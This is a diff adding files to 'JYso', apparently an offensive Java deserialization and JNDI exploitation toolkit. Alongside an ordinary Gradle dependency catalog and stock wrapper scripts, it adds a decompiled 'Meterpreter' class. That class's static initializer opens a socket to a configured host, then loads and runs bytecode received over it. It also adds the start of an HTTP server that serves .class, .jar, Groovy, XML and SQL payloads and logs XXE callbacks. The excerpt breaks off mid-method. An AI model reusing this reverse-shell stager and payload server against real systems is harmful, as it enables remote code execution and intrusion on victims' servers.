org-apache-maven-plugins-maven-assembly-plugin = { module = "org.apache.maven.plugins:maven-assembly-plugin", version.ref = "org-apache-maven-plugins-maven-assembly-plugin" }
|
||||||
|
org-apache-myfaces-core-myfaces-impl = { module = "org.apache.myfaces.core:myfaces-impl", version.ref = "org-apache-myfaces-core-myfaces-impl" }
|
||||||
|
org-apache-tomcat-embed-tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "org-apache-tomcat-embed-tomcat-embed-core" }
|
||||||
|
org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" }
|
||||||
|
org-apache-wicket-wicket-util = { module = "org.apache.wicket:wicket-util", version.ref = "org-apache-wicket-wicket-util" }
|
||||||
|
org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" }
|
||||||
|
org-beanshell-bsh = { module = "org.beanshell:bsh", version.ref = "org-beanshell-bsh" }
|
||||||
|
org-clojure-clojure = { module = "org.clojure:clojure", version.ref = "org-clojure-clojure" }
|
||||||
|
org-codehaus-groovy-groovy = { module = "org.codehaus.groovy:groovy", version.ref = "org-codehaus-groovy-groovy" }
|
||||||
|
org-eclipse-jetty-jetty-ant = { module = "org.eclipse.jetty:jetty-ant", version.ref = "org-eclipse-jetty-jetty-ant" }
|
||||||
|
org-fusesource-jansi-jansi = { module = "org.fusesource.jansi:jansi", version.ref = "org-fusesource-jansi-jansi" }
|
||||||
|
org-glassfish-tyrus-tyrus-server = { module = "org.glassfish.tyrus:tyrus-server", version.ref = "org-glassfish-tyrus-tyrus-server" }
|
||||||
|
org-hibernate-hibernate-core = { module = "org.hibernate:hibernate-core", version.ref = "org-hibernate-hibernate-core" }
|
||||||
|
org-javassist-javassist = { module = "org.javassist:javassist", version.ref = "org-javassist-javassist" }
|
||||||
|
org-jboss-interceptor-jboss-interceptor-core = { module = "org.jboss.interceptor:jboss-interceptor-core", version.ref = "org-jboss-interceptor-jboss-interceptor-core" }
|
||||||
|
org-jboss-interceptor-jboss-interceptor-spi = { module = "org.jboss.interceptor:jboss-interceptor-spi", version.ref = "org-jboss-interceptor-jboss-interceptor-spi" }
|
||||||
|
org-jboss-remoting-jboss-remoting = { module = "org.jboss.remoting:jboss-remoting", version.ref = "org-jboss-remoting-jboss-remoting" }
|
||||||
|
org-jboss-remotingjmx-remoting-jmx = { module = "org.jboss.remotingjmx:remoting-jmx", version.ref = "org-jboss-remotingjmx-remoting-jmx" }
|
||||||
|
org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec = { module = "org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec", version.ref = "org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec" }
|
||||||
|
org-jboss-weld-weld-core = { module = "org.jboss.weld:weld-core", version.ref = "org-jboss-weld-weld-core" }
|
||||||
|
org-jenkins-ci-main-remoting = { module = "org.jenkins-ci.main:remoting", version.ref = "org-jenkins-ci-main-remoting" }
|
||||||
|
org-ow2-asm-asm = { module = "org.ow2.asm:asm", version.ref = "org-ow2-asm-asm" }
|
||||||
|
org-python-jython-standalone = { module = "org.python:jython-standalone", version.ref = "org-python-jython-standalone" }
|
||||||
|
org-reflections-reflections = { module = "org.reflections:reflections", version.ref = "org-reflections-reflections" }
|
||||||
|
org-springframework-spring-aop = { module = "org.springframework:spring-aop", version.ref = "org-springframework-spring-aop" }
|
||||||
|
org-springframework-spring-beans = { module = "org.springframework:spring-beans", version.ref = "org-springframework-spring-beans" }
|
||||||
|
org-springframework-spring-context-support = { module = "org.springframework:spring-context-support", version.ref = "org-springframework-spring-context-support" }
|
||||||
|
org-springframework-spring-core = { module = "org.springframework:spring-core", version.ref = "org-springframework-spring-core" }
|
||||||
|
org-springframework-spring-jdbc = { module = "org.springframework:spring-jdbc", version.ref = "org-springframework-spring-jdbc" }
|
||||||
|
org-springframework-spring-oxm = { module = "org.springframework:spring-oxm", version.ref = "org-springframework-spring-oxm" }
|
||||||
|
org-springframework-spring-test = { module = "org.springframework:spring-test", version.ref = "org-springframework-spring-test" }
|
||||||
|
org-springframework-spring-tx = { module = "org.springframework:spring-tx", version.ref = "org-springframework-spring-tx" }
|
||||||
|
org-springframework-spring-web = { module = "org.springframework:spring-web", version.ref = "org-springframework-spring-web" }
|
||||||
|
org-springframework-spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "org-springframework-spring-webmvc" }
|
||||||
|
rhino-js = { module = "rhino:js", version.ref = "rhino-js" }
|
||||||
|
rome-rome = { module = "rome:rome", version.ref = "rome-rome" }
|
||||||
|
xerces-xercesimpl = { module = "xerces:xercesImpl", version.ref = "xerces-xercesimpl" }
|
||||||
Vendored
BIN
Binary file not shown.
+7
@@ -0,0 +1,7 @@
|
|||||||
|
distributionBase=GRADLE_USER_HOME
|
||||||
|
distributionPath=wrapper/dists
|
||||||
|
distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip
|
||||||
|
networkTimeout=10000
|
||||||
|
validateDistributionUrl=true
|
||||||
|
zipStoreBase=GRADLE_USER_HOME
|
||||||
|
zipStorePath=wrapper/dists
|
||||||
@@ -0,0 +1,249 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
#
|
||||||
|
# Copyright © 2015-2021 the original authors.
|
||||||
|
#
|
||||||
|
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
# you may not use this file except in compliance with the License.
|
||||||
|
# You may obtain a copy of the License at
|
||||||
|
#
|
||||||
|
# https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
#
|
||||||
|
# Unless required by applicable law or agreed to in writing, software
|
||||||
|
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
# See the License for the specific language governing permissions and
|
||||||
|
# limitations under the License.
|
||||||
|
#
|
||||||
|
|
||||||
|
##############################################################################
|
||||||
|
#
|
||||||
|
# Gradle start up script for POSIX generated by Gradle.
|
||||||
|
#
|
||||||
|
# Important for running:
|
||||||
|
#
|
||||||
|
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
|
||||||
|
# noncompliant, but you have some other compliant shell such as ksh or
|
||||||
|
# bash, then to run this script, type that shell name before the whole
|
||||||
|
# command line, like:
|
||||||
|
#
|
||||||
|
# ksh Gradle
|
||||||
|
#
|
||||||
|
# Busybox and similar reduced shells will NOT work, because this script
|
||||||
|
# requires all of these POSIX shell features:
|
||||||
|
# * functions;
|
||||||
|
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
|
||||||
|
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
|
||||||
|
# * compound commands having a testable exit status, especially «case»;
|
||||||
|
# * various built-in commands including «command», «set», and «ulimit».
|
||||||
|
#
|
||||||
|
# Important for patching:
|
||||||
|
#
|
||||||
|
# (2) This script targets any POSIX shell, so it avoids extensions provided
|
||||||
|
# by Bash, Ksh, etc; in particular arrays are avoided.
|
||||||
|
#
|
||||||
|
# The "traditional" practice of packing multiple parameters into a
|
||||||
|
# space-separated string is a well documented source of bugs and security
|
||||||
|
# problems, so this is (mostly) avoided, by progressively accumulating
|
||||||
|
# options in "$@", and eventually passing that to Java.
|
||||||
|
#
|
||||||
|
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
|
||||||
|
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
|
||||||
|
# see the in-line comments for details.
|
||||||
|
#
|
||||||
|
# There are tweaks for specific operating systems such as AIX, CygWin,
|
||||||
|
# Darwin, MinGW, and NonStop.
|
||||||
|
#
|
||||||
|
# (3) This script is generated from the Groovy template
|
||||||
|
# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
|
||||||
|
# within the Gradle project.
|
||||||
|
#
|
||||||
|
# You can find Gradle at https://github.com/gradle/gradle/.
|
||||||
|
#
|
||||||
|
##############################################################################
|
||||||
|
|
||||||
|
# Attempt to set APP_HOME
|
||||||
|
|
||||||
|
# Resolve links: $0 may be a link
|
||||||
|
app_path=$0
|
||||||
|
|
||||||
|
# Need this for daisy-chained symlinks.
|
||||||
|
while
|
||||||
|
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
|
||||||
|
[ -h "$app_path" ]
|
||||||
|
do
|
||||||
|
ls=$( ls -ld "$app_path" )
|
||||||
|
link=${ls#*' -> '}
|
||||||
|
case $link in #(
|
||||||
|
/*) app_path=$link ;; #(
|
||||||
|
*) app_path=$APP_HOME$link ;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
# This is normally unused
|
||||||
|
# shellcheck disable=SC2034
|
||||||
|
APP_BASE_NAME=${0##*/}
|
||||||
|
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
|
||||||
|
APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit
|
||||||
|
|
||||||
|
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||||
|
MAX_FD=maximum
|
||||||
|
|
||||||
|
warn () {
|
||||||
|
echo "$*"
|
||||||
|
} >&2
|
||||||
|
|
||||||
|
die () {
|
||||||
|
echo
|
||||||
|
echo "$*"
|
||||||
|
echo
|
||||||
|
exit 1
|
||||||
|
} >&2
|
||||||
|
|
||||||
|
# OS specific support (must be 'true' or 'false').
|
||||||
|
cygwin=false
|
||||||
|
msys=false
|
||||||
|
darwin=false
|
||||||
|
nonstop=false
|
||||||
|
case "$( uname )" in #(
|
||||||
|
CYGWIN* ) cygwin=true ;; #(
|
||||||
|
Darwin* ) darwin=true ;; #(
|
||||||
|
MSYS* | MINGW* ) msys=true ;; #(
|
||||||
|
NONSTOP* ) nonstop=true ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||||
|
|
||||||
|
|
||||||
|
# Determine the Java command to use to start the JVM.
|
||||||
|
if [ -n "$JAVA_HOME" ] ; then
|
||||||
|
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||||
|
# IBM's JDK on AIX uses strange locations for the executables
|
||||||
|
JAVACMD=$JAVA_HOME/jre/sh/java
|
||||||
|
else
|
||||||
|
JAVACMD=$JAVA_HOME/bin/java
|
||||||
|
fi
|
||||||
|
if [ ! -x "$JAVACMD" ] ; then
|
||||||
|
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||||
|
|
||||||
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
location of your Java installation."
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
JAVACMD=java
|
||||||
|
if ! command -v java >/dev/null 2>&1
|
||||||
|
then
|
||||||
|
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||||
|
|
||||||
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
location of your Java installation."
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Increase the maximum file descriptors if we can.
|
||||||
|
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
|
||||||
|
case $MAX_FD in #(
|
||||||
|
max*)
|
||||||
|
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
|
||||||
|
# shellcheck disable=SC2039,SC3045
|
||||||
|
MAX_FD=$( ulimit -H -n ) ||
|
||||||
|
warn "Could not query maximum file descriptor limit"
|
||||||
|
esac
|
||||||
|
case $MAX_FD in #(
|
||||||
|
'' | soft) :;; #(
|
||||||
|
*)
|
||||||
|
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
|
||||||
|
# shellcheck disable=SC2039,SC3045
|
||||||
|
ulimit -n "$MAX_FD" ||
|
||||||
|
warn "Could not set maximum file descriptor limit to $MAX_FD"
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Collect all arguments for the java command, stacking in reverse order:
|
||||||
|
# * args from the command line
|
||||||
|
# * the main class name
|
||||||
|
# * -classpath
|
||||||
|
# * -D...appname settings
|
||||||
|
# * --module-path (only if needed)
|
||||||
|
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
|
||||||
|
|
||||||
|
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||||
|
if "$cygwin" || "$msys" ; then
|
||||||
|
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
|
||||||
|
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
|
||||||
|
|
||||||
|
JAVACMD=$( cygpath --unix "$JAVACMD" )
|
||||||
|
|
||||||
|
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||||
|
for arg do
|
||||||
|
if
|
||||||
|
case $arg in #(
|
||||||
|
-*) false ;; # don't mess with options #(
|
||||||
|
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
|
||||||
|
[ -e "$t" ] ;; #(
|
||||||
|
*) false ;;
|
||||||
|
esac
|
||||||
|
then
|
||||||
|
arg=$( cygpath --path --ignore --mixed "$arg" )
|
||||||
|
fi
|
||||||
|
# Roll the args list around exactly as many times as the number of
|
||||||
|
# args, so each arg winds up back in the position where it started, but
|
||||||
|
# possibly modified.
|
||||||
|
#
|
||||||
|
# NB: a `for` loop captures its iteration list before it begins, so
|
||||||
|
# changing the positional parameters here affects neither the number of
|
||||||
|
# iterations, nor the values presented in `arg`.
|
||||||
|
shift # remove old arg
|
||||||
|
set -- "$@" "$arg" # push replacement arg
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||||
|
|
||||||
|
# Collect all arguments for the java command:
|
||||||
|
# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
|
||||||
|
# and any embedded shellness will be escaped.
|
||||||
|
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
|
||||||
|
# treated as '${Hostname}' itself on the command line.
|
||||||
|
|
||||||
|
set -- \
|
||||||
|
"-Dorg.gradle.appname=$APP_BASE_NAME" \
|
||||||
|
-classpath "$CLASSPATH" \
|
||||||
|
org.gradle.wrapper.GradleWrapperMain \
|
||||||
|
"$@"
|
||||||
|
|
||||||
|
# Stop when "xargs" is not available.
|
||||||
|
if ! command -v xargs >/dev/null 2>&1
|
||||||
|
then
|
||||||
|
die "xargs is not available"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Use "xargs" to parse quoted args.
|
||||||
|
#
|
||||||
|
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
|
||||||
|
#
|
||||||
|
# In Bash we could simply go:
|
||||||
|
#
|
||||||
|
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
|
||||||
|
# set -- "${ARGS[@]}" "$@"
|
||||||
|
#
|
||||||
|
# but POSIX shell has neither arrays nor command substitution, so instead we
|
||||||
|
# post-process each arg (as a line of input to sed) to backslash-escape any
|
||||||
|
# character that might be a shell metacharacter, then use eval to reverse
|
||||||
|
# that process (while maintaining the separation between arguments), and wrap
|
||||||
|
# the whole thing up as a single "set" statement.
|
||||||
|
#
|
||||||
|
# This will of course break if any of these variables contains a newline or
|
||||||
|
# an unmatched quote.
|
||||||
|
#
|
||||||
|
|
||||||
|
eval "set -- $(
|
||||||
|
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
|
||||||
|
xargs -n1 |
|
||||||
|
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
|
||||||
|
tr '\n' ' '
|
||||||
|
)" '"$@"'
|
||||||
|
|
||||||
|
exec "$JAVACMD" "$@"
|
||||||
Vendored
+92
@@ -0,0 +1,92 @@
|
|||||||
|
@rem
|
||||||
|
@rem Copyright 2015 the original author or authors.
|
||||||
|
@rem
|
||||||
|
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
@rem you may not use this file except in compliance with the License.
|
||||||
|
@rem You may obtain a copy of the License at
|
||||||
|
@rem
|
||||||
|
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
@rem
|
||||||
|
@rem Unless required by applicable law or agreed to in writing, software
|
||||||
|
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
@rem See the License for the specific language governing permissions and
|
||||||
|
@rem limitations under the License.
|
||||||
|
@rem
|
||||||
|
|
||||||
|
@if "%DEBUG%"=="" @echo off
|
||||||
|
@rem ##########################################################################
|
||||||
|
@rem
|
||||||
|
@rem Gradle startup script for Windows
|
||||||
|
@rem
|
||||||
|
@rem ##########################################################################
|
||||||
|
|
||||||
|
@rem Set local scope for the variables with windows NT shell
|
||||||
|
if "%OS%"=="Windows_NT" setlocal
|
||||||
|
|
||||||
|
set DIRNAME=%~dp0
|
||||||
|
if "%DIRNAME%"=="" set DIRNAME=.
|
||||||
|
@rem This is normally unused
|
||||||
|
set APP_BASE_NAME=%~n0
|
||||||
|
set APP_HOME=%DIRNAME%
|
||||||
|
|
||||||
|
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||||
|
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||||
|
|
||||||
|
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||||
|
|
||||||
|
@rem Find java.exe
|
||||||
|
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||||
|
|
||||||
|
set JAVA_EXE=java.exe
|
||||||
|
%JAVA_EXE% -version >NUL 2>&1
|
||||||
|
if %ERRORLEVEL% equ 0 goto execute
|
||||||
|
|
||||||
|
echo. 1>&2
|
||||||
|
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
|
||||||
|
echo. 1>&2
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||||
|
echo location of your Java installation. 1>&2
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:findJavaFromJavaHome
|
||||||
|
set JAVA_HOME=%JAVA_HOME:"=%
|
||||||
|
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||||
|
|
||||||
|
if exist "%JAVA_EXE%" goto execute
|
||||||
|
|
||||||
|
echo. 1>&2
|
||||||
|
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
|
||||||
|
echo. 1>&2
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||||
|
echo location of your Java installation. 1>&2
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:execute
|
||||||
|
@rem Setup the command line
|
||||||
|
|
||||||
|
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||||
|
|
||||||
|
|
||||||
|
@rem Execute Gradle
|
||||||
|
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
|
||||||
|
|
||||||
|
:end
|
||||||
|
@rem End local scope for the variables with windows NT shell
|
||||||
|
if %ERRORLEVEL% equ 0 goto mainEnd
|
||||||
|
|
||||||
|
:fail
|
||||||
|
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||||
|
rem the _cmd.exe /c_ return code!
|
||||||
|
set EXIT_CODE=%ERRORLEVEL%
|
||||||
|
if %EXIT_CODE% equ 0 set EXIT_CODE=1
|
||||||
|
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
|
||||||
|
exit /b %EXIT_CODE%
|
||||||
|
|
||||||
|
:mainEnd
|
||||||
|
if "%OS%"=="Windows_NT" endlocal
|
||||||
|
|
||||||
|
:omega
|
||||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
|||||||
|
rootProject.name = 'JYso'
|
||||||
@@ -0,0 +1,138 @@
|
|||||||
|
/*
|
||||||
|
* Decompiled with CFR 0.152.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
public class Meterpreter
|
||||||
|
extends ClassLoader
|
||||||
|
implements Runnable {
|
||||||
|
static /* synthetic */ Class class$0;
|
||||||
|
static /* synthetic */ Class class$1;
|
||||||
|
static /* synthetic */ Class class$2;
|
||||||
|
|
||||||
|
static {
|
||||||
|
|
||||||
|
Meterpreter meterpreter = new Meterpreter();
|
||||||
|
meterpreter.initLhost();
|
||||||
|
meterpreter.run();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String host;
|
||||||
|
public String port;
|
||||||
|
private HashMap parameterMap;
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
Meterpreter meterpreter = new Meterpreter();
|
||||||
|
meterpreter.run();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void initLhost() {
|
||||||
|
this.host = "";
|
||||||
|
this.port = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String toString() {
|
||||||
|
if (this.host != null && this.port != null) {
|
||||||
|
Thread thread = new Thread(this);
|
||||||
|
thread.start();
|
||||||
|
this.parameterMap.put("result", "ok".getBytes());
|
||||||
|
} else {
|
||||||
|
this.parameterMap.put("result", "host or port is null".getBytes());
|
||||||
|
}
|
||||||
|
this.parameterMap = null;
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean equals(Object paramObject) {
|
||||||
|
try {
|
||||||
|
this.parameterMap = (HashMap) paramObject;
|
||||||
|
this.host = this.get("host");
|
||||||
|
this.port = this.get("port");
|
||||||
|
} catch (Exception e) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void getShell() throws Exception {
|
||||||
|
InputStream inputStream1 = null;
|
||||||
|
OutputStream outputStream = null;
|
||||||
|
int j = new Integer(this.port);
|
||||||
|
String str4 = this.host;
|
||||||
|
Socket socket = null;
|
||||||
|
if (str4 != null) {
|
||||||
|
socket = new Socket(str4, j);
|
||||||
|
}
|
||||||
|
inputStream1 = socket.getInputStream();
|
||||||
|
outputStream = socket.getOutputStream();
|
||||||
|
new Meterpreter().bootstrap(inputStream1, outputStream);
|
||||||
|
}
|
||||||
|
|
||||||
|
private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
|
||||||
|
try {
|
||||||
|
Class<?> clazz;
|
||||||
|
DataInputStream dataInputStream = new DataInputStream(paramInputStream);
|
||||||
|
int i = dataInputStream.readInt();
|
||||||
|
do {
|
||||||
|
byte[] arrayOfByte = new byte[i];
|
||||||
|
dataInputStream.readFully(arrayOfByte);
|
||||||
|
clazz = this.defineClass(null, arrayOfByte, 0, i);
|
||||||
|
this.resolveClass(clazz);
|
||||||
|
} while ((i = dataInputStream.readInt()) > 0);
|
||||||
|
Object object = clazz.newInstance();
|
||||||
|
Class[] classArray = new Class[3];
|
||||||
|
Class<?> clazz2 = class$0;
|
||||||
|
if (clazz2 == null) {
|
||||||
|
try {
|
||||||
|
clazz2 = class$0 = Class.forName("java.io.DataInputStream");
|
||||||
|
} catch (ClassNotFoundException classNotFoundException) {
|
||||||
|
throw new NoClassDefFoundError(classNotFoundException.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
classArray[0] = clazz2;
|
||||||
|
Class<?> clazz3 = class$1;
|
||||||
|
if (clazz3 == null) {
|
||||||
|
try {
|
||||||
|
clazz3 = class$1 = Class.forName("java.io.OutputStream");
|
||||||
|
} catch (ClassNotFoundException classNotFoundException) {
|
||||||
|
throw new NoClassDefFoundError(classNotFoundException.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
classArray[1] = clazz3;
|
||||||
|
Class<?> clazz4 = class$2;
|
||||||
|
if (clazz4 == null) {
|
||||||
|
try {
|
||||||
|
clazz4 = class$2 = Class.forName("[Ljava.lang.String;");
|
||||||
|
} catch (ClassNotFoundException classNotFoundException) {
|
||||||
|
throw new NoClassDefFoundError(classNotFoundException.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
classArray[2] = clazz4;
|
||||||
|
clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""});
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
// empty catch block
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
this.getShell();
|
||||||
|
} catch (Exception exception) {
|
||||||
|
System.out.println(exception);
|
||||||
|
// empty catch block
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String get(String key) {
|
||||||
|
try {
|
||||||
|
return new String((byte[]) this.parameterMap.get(key));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,607 @@
|
|||||||
|
package com.qi4l.JYso;
|
||||||
|
|
||||||
|
import cn.hutool.core.io.file.FileReader;
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Cache;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.qi4l.JYso.template.CommandTemplate;
|
||||||
|
import com.qi4l.JYso.template.DnslogTemplate;
|
||||||
|
import com.qi4l.JYso.template.ReverseShellTemplate;
|
||||||
|
import com.sun.net.httpserver.HttpExchange;
|
||||||
|
import com.sun.net.httpserver.HttpHandler;
|
||||||
|
import com.sun.net.httpserver.HttpServer;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import org.apache.commons.lang3.reflect.FieldUtils;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.jar.JarOutputStream;
|
||||||
|
import java.util.zip.ZipEntry;
|
||||||
|
|
||||||
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
public class HTTPServer {
|
||||||
|
//获取根目录路径
|
||||||
|
public static String cwd = System.getProperty("user.dir");
|
||||||
|
|
||||||
|
public static void start() throws IOException {
|
||||||
|
|
||||||
|
HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);
|
||||||
|
httpServer.createContext("/", new HttpHandler() {
|
||||||
|
@Override
|
||||||
|
public void handle(HttpExchange httpExchange) {
|
||||||
|
try {
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()));
|
||||||
|
|
||||||
|
String qi = String.valueOf(httpExchange.getRequestURI());
|
||||||
|
|
||||||
|
|
||||||
|
if (qi.contains("setPathAlias")) {
|
||||||
|
Config.BCEL1 = qi.substring(qi.indexOf("=") + 1);
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1));
|
||||||
|
} else if (qi.contains("setRoute")) {
|
||||||
|
Config.ROUTE = qi.substring(qi.indexOf("=") + 1);
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE));
|
||||||
|
}
|
||||||
|
|
||||||
|
String path = httpExchange.getRequestURI().getPath();
|
||||||
|
if (path.endsWith(".class")) {
|
||||||
|
handleClassRequest(httpExchange);
|
||||||
|
} else if (path.endsWith(".wsdl")) {
|
||||||
|
handleWSDLRequest(httpExchange);
|
||||||
|
} else if (path.endsWith(".jar")) {
|
||||||
|
handleJarRequest(httpExchange);
|
||||||
|
} else if (path.startsWith("/xxelog")) {
|
||||||
|
handleXXELogRequest(httpExchange);
|
||||||
|
} else if (path.endsWith(".sql")) {
|
||||||
|
handleSQLRequest(httpExchange);
|
||||||
|
} else if (path.endsWith(".groovy")) {
|
||||||
|
handlerGroovyRequest(httpExchange);
|
||||||
|
} else if (path.endsWith(".xml")) {
|
||||||
|
handleXMLRequest(httpExchange);
|
||||||
|
} else if (path.endsWith(".txt")) {
|
||||||
|
handleTXTRequest(httpExchange);
|
||||||
|
} else if (path.endsWith(".yml")) {
|
||||||
|
handleYmlRequest(httpExchange);
|
||||||
|
} else {
|
||||||
|
handleFileRequest(httpExchange);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
httpServer.setExecutor(null);
|
||||||
|
httpServer.start();
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >>" + Config.httpPort + "..."));
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleFileRequest(HttpExchange exchange) throws Exception {
|
||||||
|
System.out.println("[-] 请求的后缀不对");
|
||||||
|
